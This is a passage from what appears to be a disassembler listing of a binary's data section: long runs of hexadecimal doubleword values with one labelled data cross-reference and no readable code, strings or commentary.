76004891h, 1E738434h, 0FC5500CDh dd 416631C5h db 45h, 1Ah word_505446 dw 2803h ; DATA XREF: ___:off_4374B8o dd 8AAFF347h, 540D77Ch, 0A08F19B4h, 5DB8BCh, 0E3C2F992h dd 69A2143Bh, 0DE441892h, 785616E8h, 43D853D6h, 0B8A58304h dd 3B255CE8h, 0F7E36E03h, 74DEEBEh, 68053FC8h, 87EAB002h dd 0EF0FB25Bh, 6732C2h, 0B31B0EC8h, 0FD1212B8h, 0DE00A136h dd 0AB0458E0h, 960925h, 1DDC2054h, 95B525C0h, 0AEFE70E0h dd 374B8600h, 137BEA85h, 198C3CBAh, 542E4483h, 0DDF8EE65h dd 390315BCh, 4E320E75h, 6FD00010h, 8724E625h, 4A03C417h dd 21E33469h, 4CFEC096h, 1844003Fh, 0EC351E2Fh, 1B007FD4h dd 0F46EFB38h, 0FE8AE1E4h, 69080941h, 0E47071F9h, 0F88B4Ch dd 0AC36E21Ch, 124A9F83h, 0A53F38h, 44E0FA98h, 10937C27h dd 0B8B40516h, 4483153Ch, 884AAC82h, 0C71264E0h, 0C0C04608h dd 0FA7862h, 7B9DECA9h, 0B8CA042Ch, 90071892h, 0AC82AD5Ah dd 0CB8C50A0h, 9B250256h, 0FB1E932Dh, 0F18FEC76h, 9C4097E7h dd 0C52E1184h, 0F8C9503Eh, 82E8201Eh, 225EB22Fh, 40190114h dd 0C43F71Ch, 10BB14AAh, 0CA01B041h, 0ACA6C13Ch, 91ED2EE1h dd 36E7DE8h, 25659D9h, 500643FAh, 3E4F310Dh, 20FD02C9h dd 9922B74Ch, 8F80B85Ch, 40E92825h, 0ECF14C58h, 0D4D56200h dd 0BF1141BAh, 74154F00h, 9B07E8B7h, 1B4A02DFh, 0C5A1AD31h dd 24861840h, 2DC7758h, 880F6D2Fh, 16156196h, 90AC4ECh dd 0BA531B94h, 637B048h, 2602BCB2h, 8E48F814h, 0E594A1D7h dd 82E456CDh, 0F325806Fh, 9D610A08h, 0D0ED01C6h, 0E88969E3h dd 28E51D18h, 0F600AE0h, 1CBCC847h, 990CDCD9h, 494D130h dd 0C8ED6E86h, 2D528049h, 0E205B9DBh, 3313A441h, 70587F80h dd 0E5860C71h, 73A10D01h, 69D9E00h, 5CA1C9AEh, 14E849A2h dd 5B01C83Bh, 0D4E56FCCh, 332AF8D6h, 0F1A07304h, 80EB16AFh dd 0D3B62F2Bh, 0DF7EBC0Eh, 4491E7B3h, 129638F0h, 2BC20072h dd 0D7F2469Ch, 98008BA6h, 4F43ECB3h, 3DE855h, 0A71AB59Eh dd 12DD8D76h, 3E3A9400h, 0C58B45F7h, 0C890E0h, 597FF9E1h dd 0BE6583B0h, 0CC62D501h, 0EBACA4DBh, 7179F0h, 4A9A3C3h dd 0B5272A2Bh, 1E812602h, 40AC0582h, 42211FBh, 744CB823h dd 8BACE09Ah, 70D20106h, 0D1F3A3h, 723DCF10h, 9B18EA33h dd 5E00F48h, 0F838311Ah, 0E024E8F8h, 760580D0h, 55AC4D3Ch dd 4EBE1E04h, 7CA057F1h, 9A3D26B8h, 0A3074198h, 0D0DC57CBh dd 0C9D53A2Fh, 9C68E72Ch, 0F97E6B80h, 75B2C0E2h, 65191C52h dd 692685h, 5CC1A1A2h, 0AE90E0E5h, 78300104h, 34E0AA6Fh dd 0DAB801CDh, 0E5454627h, 0A275DC87h, 0A124DF00h, 8E2914Ah dd 0DA7F01F2h, 3AEA5844h, 0FBE9F4D1h, 34335Dh, 98CACB08h dd 0B643508Ch, 0E0785028h, 3FAF6D02h, 8030F020h, 2480EFF3h dd 2EC98h, 19C03211h, 35F4896Ah, 0CB3B1700h, 0DF927120h dd 28121C40h, 9E7DC0E2h, 298A01F3h, 589CD548h, 8C3A00D4h dd 0C4534B2Eh, 871024D9h, 0E60483E8h, 29C092FDh, 663DF170h dd 20B82665h, 0AE9720Fh, 205D47Bh, 0E845FD0Ch, 20002B7Ah dd 0BA1D1A08h, 427409h, 5B31FFC3h, 0DCFC95E8h, 4EB04C05h dd 8FC3527Ah, 0E30198A4h, 3BE2180Ah, 0C5091858h, 0D1E85D78h dd 0BC22418h, 0CC78F48h, 7F265149h, 973B8468h, 64052C29h dd 0C4CD0C81h, 3181B80Fh, 0FEEE09BEh, 8E218311h, 0C07C49C3h dd 5C47167h, 7A7066E1h, 0AA5C0051h, 0C018F1AFh, 1CC7253Ah dd 920044B1h, 12A13DC3h, 8109008Bh, 0FB3E37CFh, 0D24CC60Eh dd 5ADB0087h, 74B70E2h, 119303FFh, 64E547D8h, 0A71DF4E8h dd 3E448017h, 26188EA8h, 930E7189h, 0A1D0A41Ch, 5D3E8C40h dd 6385B7CCh, 91242036h, 0C3222900h, 72D06F17h, 5FA400FCh dd 813DA5DCh, 0C8A083AFh, 0B9E40B8Dh, 0CE023600h, 1A7E9878h dd 4DD2E275h, 8E00FCFCh, 0C5F077F7h, 60002E03h, 96446AD3h dd 153821h, 0DE019B3Bh, 4A67460Eh, 3D1D7A00h, 8FD40C0Fh dd 0F4F854CDh, 0D087005Bh, 1223D1CCh, 244AF221h, 726BB890h dd 0E7A009Bh, 51A1B1E1h, 3201AE08h, 386C7709h, 40807D37h dd 0AF7C2BDh, 84924C0Eh, 61734236h, 49AD05A8h, 23978BF4h dd 297C42CCh, 0CFC64C00h, 80099C27h, 0F785Bh, 0C3D9240Ah dd 8D7E4250h, 0C4D2C000h, 5E01F114h, 0F8891C0Ch, 9559875Ch dd 43360769h, 1111A623h, 0EC808F02h, 9848E732h, 3135ED88h dd 34157F9h, 58B6DDC6h, 5C33FE04h, 0E0E010F5h, 0C0C9FBE6h dd 7281A621h, 360C3E6Eh, 9471791h, 621C0BCh, 12C8728Ah dd 63D61900h, 88C0D3Fh, 0EBF900F7h, 30B55A66h, 49284EEEh dd 7D0638BFh, 175D86C5h, 0F3232E11h, 0E19E03D5h, 9F1B155h dd 802BD156h, 0B8FB5A21h, 3063D4Fh, 0E563BABFh, 5100B111h dd 74C1B341h, 605E610Bh, 9CA4D9F2h, 1A3FAB0Ch, 9B500069h dd 27E6728Ch, 406600DEh, 0ED03DBB4h, 49C0B311h, 9D886496h dd 0A982033Ch, 0AA5A35F5h, 2101AFA3h, 1E886CFFh, 0F741EBA0h dd 0A19E0F3Bh, 0FCBB4763h, 7D7AD0CFh, 9B011593h, 4D6DCCA6h dd 2987053Ah, 0CA12880Bh, 80841180h, 9ED6B8E5h, 22564351h dd 0ED5C0020h, 5EBEF7B8h, 0F605BFD1h, 92A6B90Bh, 76B5C420h dd 0CDA9C0B4h, 0BDB2867Ch, 77400B00h, 0F3B88E69h, 0F80329DCh dd 886D0178h, 186A3CA0h, 55F488ADh, 0ABBC8900h, 0FF744DD9h dd 881E9814h, 0E6DFE6B0h, 58F26480h, 886B60F6h, 503C6882h dd 0A1912Ch, 318953F6h, 0F86676h, 0F0D88E4Ch, 0DC778A93h dd 0FF329A01h, 35304D06h, 0C1325022h, 10C087E9h, 82015966h dd 956FC09Dh, 0AAC492E1h, 0CC27024Dh, 0C890A699h, 65A48C90h dd 0F6411318h, 68B93B9h, 5C9B8CE0h, 0E0061C7h, 14B9014Ah dd 0C2B52B4Bh, 183F4C28h, 0CEE6F090h, 4D488872h, 48141464h dd 5CFD8384h, 40296693h, 990119F4h, 856D86C9h, 0D448FED4h dd 4174060Ch, 0E86850DBh, 304CC704h, 8C88C5BBh, 0F4048C83h dd 0D99ED7B8h, 59202262h, 0EEB8FCh, 5B5335D1h, 7D5401BBh dd 0D0B47B0Ah, 0A78DB8BEh, 0CEE13194h, 91C5C8BDh, 0EE818970h dd 0A29EEDB8h, 2E443868h, 0B8F60043h, 28552FA3h, 5F304B01h dd 457F1F3h, 3DA800ACh, 56879B11h, 39C0275Ch, 378E65F3h dd 138D0084h, 0F6DC0642h, 8200C18Ch, 0F927A52Eh, 0D0EF5CDBh dd 2DB84C31h, 0CF200E8Ch, 0F26280C0h, 0B084E20Bh, 856608A0h dd 45514014h, 4FC012F0h, 1920F590h, 434C4A91h, 98A18BA2h dd 53C38FA7h, 33F1E69Ch, 40F44806h, 909AFA44h, 0E4E08700h dd 15A16020h, 6647B9Dh, 5C31443Eh, 8900211Eh, 0B8FF564Bh dd 3E14638h, 0A654D098h, 9948439Ah, 48C7CD8h, 3E61729Eh dd 20BB626Eh, 2D72870Bh, 0C8137E26h, 0FF567042h, 97E35B0Eh dd 1900A512h, 7F3DFAFFh, 7CBAD6h, 266507F8h, 0E79CB1D0h dd 913CB202h, 404E0A92h, 0C1BA12BCh, 0E79F8A39h, 0E214FD46h dd 1B3BB380h, 0C1043C4Ah, 19A26265h, 0FC251C8Ch, 446B6731h dd 0DFADC029h, 9A007D8Fh, 5B0CCF34h, 545E6AABh, 484DC4Bh dd 0F5010636h, 0AEC0EFB1h, 0E07107DBh, 0E2B000C2h, 0C937D47Bh dd 5630B56Fh, 59C6F95Eh, 0EED81EECh, 0CA374372h, 830F17Ah dd 0E43A5946h, 6FB30FD8h, 0FC948FA6h, 0AA2E798Fh, 1B5CE182h dd 85FBCCA0h, 640070BAh, 0C3BBADFEh, 9A9576B4h, 9AA719F4h dd 225F41B5h, 0BE150038h, 0F0DD63A0h, 0D58003A6h, 0A74359FEh dd 0D06483EAh, 6202FB46h, 723C9F88h, 0F110AB31h, 761D886Ah dd 0B4075DC9h, 12B30E65h dd 0A0211FA2h, 0F56040BCh, 0F02A8C97h, 2FF29F00h, 27EA01D8h dd 725702B5h, 4414D5A7h, 764C9490h, 9ACDD601h, 7A01993Ah dd 341CD845h, 729B01A3h, 18663E64h, 840C88B2h, 2CC77200h dd 8A1DF97h, 1A0E0AB4h, 8188495Fh, 0EE7045D6h, 1537C09Bh dd 58D2B707h, 0C1C009DBh, 5E3EF97h, 324D384Ah, 0BD048812h dd 0BAB488h, 1A16D853h, 4C5F56C3h, 0DF4E59C0h, 1BA8FC9h dd 0DD41620Fh, 0E85380E2h, 0B42C95F4h, 5D44707Ah, 8750C8h dd 73A51A64h, 5080A02Bh, 2EF00F00h, 179C8568h, 6A2F00CFh dd 560206A6h, 0B45866B7h, 86C1C0B8h, 7CD42954h, 0AC784863h dd 0C592A783h, 9FE7B117h, 0C0FC3808h, 3C9C8861h, 88728A46h dd 880769F0h, 11AED470h, 8F6E8000h, 99A61848h, 12E659B7h dd 80184B9h, 4ACCC385h, 160A66D0h, 80999FEh, 0FA9D1D74h dd 16E8E80h, 1283C928h, 4B848A4h, 0C84D3FD4h, 0C588BC8Ch dd 0E0DF3E80h, 0DB486C00h, 72EC05ACh, 0E1024304h, 898E4F9h dd 2160FA9Fh, 8C0863Eh, 1E7288h, 2C27EF29h, 0A1191276h dd 67BACD04h, 40A05F16h, 2F981CC6h, 276246E5h, 183A7130h dd 0DCB829B5h, 0D2121E11h, 0A49C00B7h, 0D185A5E6h, 42D9FC91h dd 0A7FC5F18h, 0F32EDB76h, 0CB40EC5Dh, 742DFAF6h, 90DE01A2h dd 5C6EAB70h, 0D4218015h, 48BAE23h, 35320039h, 0BF9DF6D1h dd 5504820Fh, 0CDB55D74h, 2CCE1488h, 0A41C2FFDh, 600C6080h dd 0D2041C6Ch, 5024B293h, 0E8B5BC98h, 0A741C3B9h, 0D96FCB9Bh dd 3906D158h, 317D25C9h, 0BF7422h, 0EA8479D6h, 774266A1h dd 346A5F26h, 0A17944A9h, 2918A218h, 9881BEFDh, 0CEEA0099h dd 6C972A1Fh, 609909C4h, 0EB18ADD1h, 9D7B4700h, 481352C9h dd 2E4499F5h, 0D2FF419Ch, 94242C72h, 7921B4h, 0F899F335h dd 900174FEh, 50E05AFDh, 2473D49Bh, 5F3029A2h, 0E19728FFh dd 586D59C4h, 0B2E8B44Ch, 0A83A0D8Ch, 0F4A0F34Ah, 0E500C74Dh dd 0E6BD5F79h, 4866CDB8h, 7680045Eh, 5ABED7E4h, 3239A07Fh dd 20C12183h, 88301788h, 23903EC5h, 0A0D20020h, 373C1450h dd 7EDE0712h, 0FB053431h, 91E02820h, 18B379ECh, 2E621F01h dd 9680818Fh, 70E78BD3h, 0FE882798h, 2931C0B4h, 2596A72Eh dd 0C2227100h, 8ABF355Ch, 0A64D110Ah, 0D2030991h, 5DBC6812h dd 0D519C028h, 2ED09A31h, 0BB988401h, 4E675E5Bh, 0C2FC38C9h dd 0EB81B9Eh, 10C83996h, 92F26686h, 3A4DD517h, 0F28F4031h dd 3840D310h, 0CB66FF1Eh, 3A29FDC1h, 298071A1h, 84018211h dd 6FF2D0BAh, 0B3F67701h, 3DFB40DDh, 613E1023h, 1063B1Dh dd 4A90D4B7h, 0C8C7402h, 3801D673h, 3EE33494h, 8038D465h dd 178C2ABCh, 205F4B32h, 7184C284h, 0BBFAF800h, 0C8E79D9Eh dd 40BF1FF4h, 1B5C731h, 0C85D443Bh, 0E4009FECh, 6202A3C8h dd 4046E3h, 1927F209h, 84F39799h, 7ACEDF00h, 8B86EBF8h dd 38EA60DEh, 0E7598A93h, 2C7DBC18h, 86D090h, 3815360h dd 6BF4A70Dh, 5600EB7Bh, 0CDBE5D85h, 60A3A879h, 1D37E4BBh dd 9300E4A6h, 1247ED3Ah, 788A5E16h, 3FEE0042h, 35AC8CF4h dd 9800D541h, 0CCA7F663h, 24A68D6Fh, 8E08B99Ah, 6B447190h dd 0FA0C8CC2h, 0E6985F00h, 6AE3C8A4h, 54557942h, 34AECA8h dd 31D72984h, 0D0F01D8Ch, 301DD45Bh, 8B05CDBh, 3C00FA9h dd 0B64EE3BAh, 0D3A3EAF3h, 0EC33BBB1h, 407CE7F5h, 0EC4F3Eh dd 31F84A92h, 78E648B7h, 9BB33A34h, 4110C630h, 0BD7020B5h dd 0D400BA7Ch, 0CAC2C07h, 0F7C74Ch, 0BB7E33E9h, 46C04DF9h dd 0B631FA0Fh, 0C24380BAh, 0F042EC4Ah, 0DDEE741Ah, 80410130h dd 0D04BEDF6h, 480008BBh, 0F0E04CD3h, 28D649BAh, 8F6431EFh dd 63F85D04h, 102260B7h, 64E9324Ah, 0F0000CB9h, 67F1965Bh dd 58B70C55h, 0E608664Fh, 1200B8B2h, 4DC89664h, 163094h dd 0C6AB2336h, 0B92BEE67h, 2E27E003h, 64803246h, 61E66018h dd 67CC95CCh, 22B643CDh, 551103E3h, 212DDD96h, 0B1195AFBh dd 97606A50h, 0F4992000h, 47AA2505h, 6408316Dh, 9659C0EBh dd 654667F3h, 1000FB22h, 0D4AA9662h, 3D19BF84h, 9700460Eh dd 1E563A94h, 0C0C193B6h, 0F0571FD0h, 6E2899Eh, 11587355h dd 0E53BBC00h, 864B43FBh, 0CC14F2D7h, 721B508h, 61E52303h dd 0C8822485h, 0C1846636h, 8A66B58h, 0FBD08093h, 76C9EE6h dd 8E9B2EA4h, 0D1D600FFh, 32497BD9h, 26CE852h, 67F2965Ah dd 10FA315Dh, 0E96630Fh, 93D19D5h, 2D9AA280h, 9152B646h dd 1E223C8h, 67FC95D0h, 15280EADh, 298E7CA4h, 1FC85721h dd 9C8A8353h, 0D5E1FB3Eh, 0CDF99F93h, 34418252h, 0DF7A23A9h dd 6D1420BEh, 2B080C27h, 8500FA7Eh, 0C8545956h, 0D071C2D6h dd 5448AA49h, 3B00959Bh, 5908399Eh, 9A25B0h, 0F6187E4Ch dd 62C2D1AAh, 4039EC6Ah, 395BCF08h, 14A9C674h, 5500E9D2h dd 0E4456DA7h, 51CAE27h, 16DA3846h, 86C85FB6h, 2047E9A6h dd 4ABB5101h, 9A36DA31h, 0EF430FE2h, 601CAE5Fh, 0CB40E8DBh dd 0EA665DDAh, 0D6CD0707h, 60E29BB3h, 445BD522h, 0DCF31F1Bh dd 0A1DDE389h, 20F91224h, 56C4C7CBh, 1C3E2498h, 6343FCE5h dd 600B411h, 6477E526h, 240A89E1h, 983351CCh, 4FD83981h dd 0F04F19B2h, 0EEC0E688h, 9FB9440h, 0BF667BA1h, 1D0D4020h dd 97249DD2h, 0F780ECAAh, 3FB089F4h, 0FC8F49CAh, 0B743A608h dd 8E180802h, 6D9E0320h, 9C29A105h, 0F801F266h, 0B7864459h dd 30608042h, 43F6E538h, 0B3221346h, 0E5209C03h, 0A10DE241h dd 0F841A9A4h, 0F500BFDFh, 99492Fh, 6818F779h, 0D3F81C00h dd 5432E652h, 50D0A8BAh, 0B76414D4h, 0E423A8B8h, 0FE95CE01h dd 0FA18BD67h, 571388h, 0AECDBE96h, 2B832881h, 2F3BFB7Ah dd 0CF6A18ABh, 1F041D60h, 0B50ED7h, 220CEAD3h, 0CB642D21h dd 6C8863F1h, 0BB1C00C2h, 8B6ACA09h, 0BC02FC22h, 4AFFCDAEh dd 0EC9448D3h, 0A211006Bh, 23CA6D3Bh, 6701F501h, 6C54B725h dd 63F84371h, 54104806h, 1553F480h, 0ED185CD5h, 514907A6h dd 4A26185Bh, 0FEBB11D6h, 2FCF9109h, 58B883D7h, 0A4083007h dd 91F71521h, 53D3A801h, 0BD2A205Fh, 0C8FCC18Fh, 0C57778F0h dd 0CAB16324h, 0FF6E8501h, 0ECCCBD58h, 685D00FBh, 0C4777BF8h dd 84002DCCh, 0AEB6232h, 0CED8AAEDh, 1B3EFB69h, 0D3B81882h dd 8DCABA9h, 5A3AF500h, 6E53CC2Bh, 0CF267118h, 0A31F89C2h dd 0F0C09016h, 0B4EE8504h, 0DAB231EDh, 2041F859h, 0E3780F38h dd 80486349h, 43FDE539h, 0B7448C3Bh, 0E5210399h, 9667ADB3h dd 4440AFE2h, 4A241810h, 60058026h, 0E8242F20h, 232C8C82h dd 8107D449h, 0CF8A8E73h, 0D2720BE7h, 0CE308072h, 3EC1AB2h dd 4C947BBDh, 0AA9026CAh, 9BF6A26Ch, 23F0C70Eh, 0FA3620FEh dd 372FF9D9h, 3759B14Bh, 0B288F0B6h, 18000C01h, 0A22FF205h dd 58224FD7h, 508F408Bh, 0D027E1E1h, 4A7980C4h, 8D43BB53h dd 0DA871215h, 0E5AC088Bh, 0FD95CFC0h, 0B6B52167h, 96A01667h dd 1D8ADC0h, 2A612114h, 30097A9Ch, 0A4A1598Ch, 0F60031B3h dd 11E53730h, 882B43FFh, 1F9B87B6h, 321000E5h, 5A268483h dd 410028E7h, 63FB1A0Fh, 3581C0EEh, 0FDEA9994h, 0F7F1A200h dd 692F7C40h, 1EC87C1Ah, 26D32266h, 71510FCh, 9DACC10h dd 0D04124F5h, 3C19FE90h, 0D4B8A0FFh, 0B9163AB1h, 73806848h dd 0D22219E6h, 63A1FA09h, 0C6AC20B2h, 12326A2Dh, 590853ABh dd 1857E8B0h, 0F9E5083Dh dd 0BFC45B43h, 0E5250540h, 60FA3AB2h, 3C5051FEh, 37647EF8h dd 670BA8h, 0EEAB3A1Ah, 0E8710087h, 2E3F4819h, 0D258EB01h dd 17CE400Fh, 0EE69F882h, 5C40CD3Bh, 0E45463F8h, 15004CA0h dd 9AB5AD40h, 5A6F30h, 0BB920ADFh, 6CF6FC01h, 0D800D9F0h dd 35C38D96h, 92A5A7E0h, 0C0CDE43Ch, 55720CC9h, 0E714C9BFh dd 24D22B57h, 0E101091Fh, 0F4A75EB2h, 20E07181h, 87CF1952h dd 0D15F5738h, 49CE66h, 87844DB9h, 9FE52780h, 0AD13D978h dd 14208BC0h, 4C0FF930h, 129D10FCh, 0AAF0219Fh, 42B3F1ABh dd 18640108h, 0A6BC20Bh, 0AB7405AFh, 1D089C09h, 801B1104h dd 54B4AE4Bh, 1EFE1B37h, 42CC70BEh, 48D544AAh, 0FA96E79Ch dd 58F8BAC3h, 624FF43h, 7AF4001Ch, 0AF4B20FAh, 65D839C0h dd 10A43C1h, 72B9680Bh, 0F4514E46h, 0D10BF4C7h, 22D63E2Dh dd 66A7EDF8h, 564F0068h, 0D6C9E9CCh, 19C3B049h, 0E8FA32B1h dd 1B9FB89h, 9F5E0FBFh, 50C55320h, 0DE63ABB4h, 9688D450h dd 4FCDFA0Ch, 1E1FE925h, 14327282h, 7C58DC47h, 1940A2Bh dd 0AB391A01h, 881918E6h, 2AECE972h, 5ABCB707h, 90A95D30h dd 7CD6BF8Ch, 339E0093h, 362D7519h, 8402A769h, 0CC39A466h dd 49248368h, 0F8D15AA6h, 84B7000Ch, 0B4FE6441h, 40170B8Dh dd 0A200F03Dh, 9EACEB61h, 0EF169B13h, 0DC2F1417h, 2500B123h dd 8D8E6451h, 2B900289h, 62D0E18Ch, 303A2491h, 2358444Ch dd 229AE014h, 0DAE009E5h, 0C19A8EDh, 0ABF10946h, 1858E048h dd 0F185F4DFh, 4514AA20h, 221431BBh, 0C0CAFCA4h, 0D1E16D61h dd 9D00965Dh, 0A462BBB8h, 5B98606h, 0D33F6BA6h, 0E014CC60h dd 773EEEE0h, 91E58B16h, 20D404EBh, 8EF9B040h, 0CE00D6E7h dd 8F2451A9h, 1D8B69Dh, 17903AB1h, 204D7541h, 1D88C0D0h dd 0E3F0F0Dh, 4960815Ch, 0F7E48844h, 14784C5Dh, 0FC0E1CEh dd 96DF69E6h, 63B3B843h, 17D901E8h, 5DF2AAE4h, 300CF07Fh dd 7F44B52h, 2DF4F907h, 0A3B4DB60h, 653B0094h, 894D2061h dd 0A717CBE2h, 100957F5h, 90EC8A37h, 0C355983Fh, 6F51CDA1h dd 0F729E134h, 22CA9031h, 3315F264h, 41FADDE8h, 0A3DE9E13h dd 693B2049h, 0E1FCFB74h, 6E3E122Fh, 0D1D00975h, 0A4992444h dd 0BD18FC71h, 9F1AA103h, 0EF6B24A6h, 0C0828954h, 19FC30F7h dd 4EAB3E08h, 401A64A7h, 3619E465h, 0F16D1F73h, 5AD15F2Bh dd 0CAC068DAh, 2154591Fh, 5537CDC8h, 2DC7392Ah, 2FE890DBh dd 0F29B169Fh, 53E4020Dh, 0F8729E6Ah, 74658CA2h, 0DD60B5E4h dd 5805C8F1h, 149E1808h, 0AE4F9801h, 2992B8B6h, 809C04CCh dd 1FD8035Bh, 602904E6h, 40CA72D1h, 3A47C527h, 63D50F8Eh dd 80FCA34Bh, 1BF9A946h, 36030448h, 0C7FDC29Dh, 9BE10014h dd 86704D26h, 0C1608464h, 1C4AE830h, 7850071h, 2FC8D9ABh dd 7891D062h, 75CEEE03h, 1378A047h, 0A22400AFh, 6C522AE4h dd 0A417B765h, 0F0279EEDh, 752E1611h, 3120B184h, 870C4BCDh dd 0FF87F720h, 0F8E12EC6h, 623804F2h, 97D340AAh, 0FB28BC14h dd 0CFC6050h, 19E3168Ch, 0FC605037h, 70818CC8h, 3DB419EBh dd 0F21EE0h, 77C3396Dh, 4238102Dh, 474904Ah, 0A8F4CD1h dd 311F6876h, 9035E56Bh, 10ACB289h, 2C0E6780h, 82805A6Ch dd 99A8641h, 0A298020Bh, 61A04AE6h, 0BB10AA84h, 0BA005154h dd 8AFCA2D8h, 1F4239Dh, 971AA690h, 68B8D6AAh, 8CF8BC30h dd 237639E6h, 0C54444Ch, 81E7AE2Bh, 0D170B189h, 6D188Ch dd 0B4A3DDA0h, 88E414FBh, 80644A4Ch, 7D121335h, 0E8CD0054h dd 1C461596h, 4A00BE8Ch, 6D2EAF4h, 4F9C2AADh, 4F20030Ah dd 0C0A4329Eh, 6683A930h, 0A2FED40h, 0C6B3EF0Ah, 911826A4h dd 36338E89h, 0F8C8888Eh, 83D178C0h, 30C80016h, 0FAA081EDh dd 6D4B828Eh, 149ECC22h, 56038E9h, 4B38F308h, 993888h dd 44963483h, 0F7A0A53Ah, 0AB267090h, 76F488D6h, 64C80051h dd 12F7E386h, 0F6136A19h, 50C0B84Fh, 87DF407h, 31CA47D8h dd 3022BC28h, 0C7FC26B5h, 8F504070h, 0E1069827h, 13B811D5h dd 1820DE1h, 1F12FF5h, 0FC58E284h, 10A4EAC7h, 310DF0C9h dd 5C1858E4h, 494CE312h, 0F723502Fh, 1B7DDE00h, 0B293CCCh dd 0FA462FD2h, 0E1C3A861h, 6149E02Bh, 4A5BA678h, 0F723102Eh dd 4632B300h, 1E82FE47h, 905007D1h, 22C04C26h, 0D9193FA9h dd 58F99800h, 3DAC8A1Ah, 0BE478900h, 80754F2Eh, 0E16916E4h dd 507C42F7h, 20791F5Bh, 8491F38Bh, 20F30FFAh, 1800A322h dd 8539910Ch, 22D76177h, 0A904C6CFh, 90A09547h, 0F1A420D2h dd 18F77954h, 974D01DFh, 4B470A6Ah, 8A7980A7h, 5AA4C755h dd 0BCF7005Dh, 0D1EF19CDh, 0EE0E2A9Fh, 8262667Fh, 0D9CC8DD7h dd 3C29025Ch, 0FE00EA5Ah, 0B6E59EDDh, 1E560118h, 80A5A724h dd 0A9B0B5C0h, 7839E90h, 0D514640Eh, 8C57B25Dh, 80C3F5E2h dd 92AB893Eh, 5C2261EEh, 1350ECEBh, 80586B2Fh, 506C3598h dd 20463118h, 0EEF25469h, 291A00C7h, 84250F44h, 2FF42D9Bh dd 0D9A1FD00h, 0A7A8DF63h, 8A2E006Ah, 7205F204h, 9807838Bh dd 0D0ABAE41h, 0D2F7A540h, 3C9F1FE6h, 0B4B7C7F5h, 730381AFh dd 354FF0EBh, 0DE08F000h, 46043DFh, 8A0500EAh, 5463B720h dd 680238A1h, 9AF29140h, 97B4C0CBh, 0E21900F1h, 0A53ECC46h dd 0DD5BC794h, 80D01422h, 0FDDA30A0h, 0AB9C25EDh, 40C36C24h dd 1395317Bh, 0A87017C0h, 23303A6Ch, 0C59200B3h, 4D432FB0h dd 80E4CA5Ch, 10149034h, 0B9AE009Dh, 0ED77B8B1h, 0CA07E325h dd 227251A3h, 0E1D23962h, 0EBCCBFF4h, 7C640782h, 0CADE42F8h dd 16AD38B3h, 0FB91B89Dh, 4AF77F80h, 0F6391727h, 2555814Dh dd 0E0DA548Bh, 0AFD93021h, 3002063h, 7ACF52E6h, 0B700B56Ch dd 1DDCB225h, 58612099h, 8002C394h, 0D65A5424h, 0B2D930F1h dd 0E21DD118h, 0E3451256h, 0C4884A78h, 3E4F75E0h, 3DA45773h dd 42BC1D77h, 1C8CFA33h, 0EA7EA0C0h, 0E4E0EC83h, 0D14C995Ch dd 2B518E6h, 4E3080BCh, 0B082342Eh, 0CC71CB66h, 0DD191A71h dd 0DC4CD188h, 420B459Ch, 2AC9E66h, 0F98BC6A8h, 792C0F1Ch dd 5E15A0A7h, 5835DF80h, 921352C5h, 0E0DBD951h, 4ABBCE80h dd 0E073C0Bh, 92AC26B9h, 0A065F1F0h, 315A02E3h, 54253271h dd 433E5072h, 0A0B8327Eh, 20A46196h, 913AF418h, 1107A359h dd 0D1B00A2h, 821E1791h, 50FF2D12h, 0BF11E497h, 356CE683h dd 0FAE3EB88h, 0FAC75D39h, 4EA19A00h, 0B05C25FBh, 2A16284Fh dd 0D32F0CCCh, 0A9F9C8CFh, 87BF0D00h, 0EFB7CB32h, 757000E8h dd 0B2522765h, 1C27C6AEh, 4470167Bh, 80F1C76Eh, 26622419h dd 37F2A0h, 7BB1972Ch, 0A5881294h, 0AE20D43Fh, 83438E9h dd 0E35BBCC1h, 8C2DC064h, 283AD099h, 28C90C57h, 56B4E84Ah dd 79D1007Ah, 3B411649h, 0A2F6FE7h, 0C02C29BFh, 9E5620B8h dd 9E438294h, 1CD1A6B2h, 52562189h, 1F572E8Ch, 0D3430008h dd 0CE481084h, 0B4717E4Ah, 803947AAh, 0D7A5ED0Ch, 0CC2FDF91h dd 2CECA154h, 24D88BDAh, 0F4B90117h, 0DE362FD1h, 0C8508C1Ch dd 0FE2929h, 0ECA14AE2h, 0F8F96C76h, 2FFC2C1Bh, 73CBAAA1h dd 955F5874h, 0BE203CB8h, 0A696178Fh, 0DBB44173h, 2ADD5685h dd 8B30DC08h, 2CE453E7h, 0F4D1888Ah, 0F518B479h, 852CCA02h dd 0F9495F36h, 18F771C0h, 0F53A020Fh, 4B32AECFh, 953FBC7Ah dd 762F809Fh, 0A9A05322h, 0B09A5C82h, 162A4E08h, 0E7EDCF03h dd 99E82CC1h, 8BCA1348h dd 0C81888B8h, 0E00B01FFh, 25539D52h, 0BCFC7DF4h, 573034Fh dd 0E762C587h, 8BBCE900h, 228EB125h, 522AF2A5h, 18F2F4CCh dd 7C5230h, 2E2C67D6h, 38D3894Eh, 0BCA71AF0h, 160E344h dd 84272A83h, 5B8887EAh, 66BE5682h, 1D25466Ch, 2F4991FDh dd 801045DFh, 9691F612h, 2904F9EBh, 0D217D7DAh, 5E8B84A0h dd 23882ECBh, 0B59E0117h, 0D4FF0686h, 0F4A2A247h, 0E2084C47h dd 0C8300032h, 485B8057h, 0E626067Eh, 0A2978028h, 875488h dd 1B6AB035h, 0E3D3C0CBh, 15D58B01h, 0E5D220E9h, 0D0C2902Ch dd 0ACF94CF7h, 7418E679h, 0D08D2A12h, 2A2070A5h, 0D9A301ADh dd 9CBEF4FDh, 4C443C69h, 8CE3E8C0h, 0D2363905h, 50B443A9h dd 0E3DD004Fh, 57B9983Ah, 7D05F382h, 622FD71Dh, 0D9D8CCh dd 3FDDC55Bh, 424F0B1Ch, 0AA2C8098h, 0C744B446h, 3A45A4A4h dd 2D787568h, 0C8324EDCh, 8D11E817h, 0E591C780h, 0B11F8963h dd 9D023F79h, 5EBA500Fh, 4C2425E0h, 91F16021h, 0FF2F25CCh dd 16806C65h, 0F8AA910Ah, 1E5031CDh, 0BCD24971h, 80E6BE21h dd 3F622EE8h, 95600E4Bh, 8045A089h, 0A360C0C4h, 0C2053AD1h dd 0EB62310Ah, 0A3CB984Eh, 0D0802CB9h, 16C9D1EDh, 9066D43h dd 0CE018424h, 0D53E3027h, 88698Eh, 0A7C91DF4h, 60C70CF7h dd 0B4DCB923h, 94002404h, 211C8138h, 0D4088h, 16B89873h dd 0C64D1D52h, 96D9C510h, 0A8214C4Dh, 0E840C40Ah, 7E09081Dh dd 20FC7283h, 0F8C8BC9Bh, 91F2C322h, 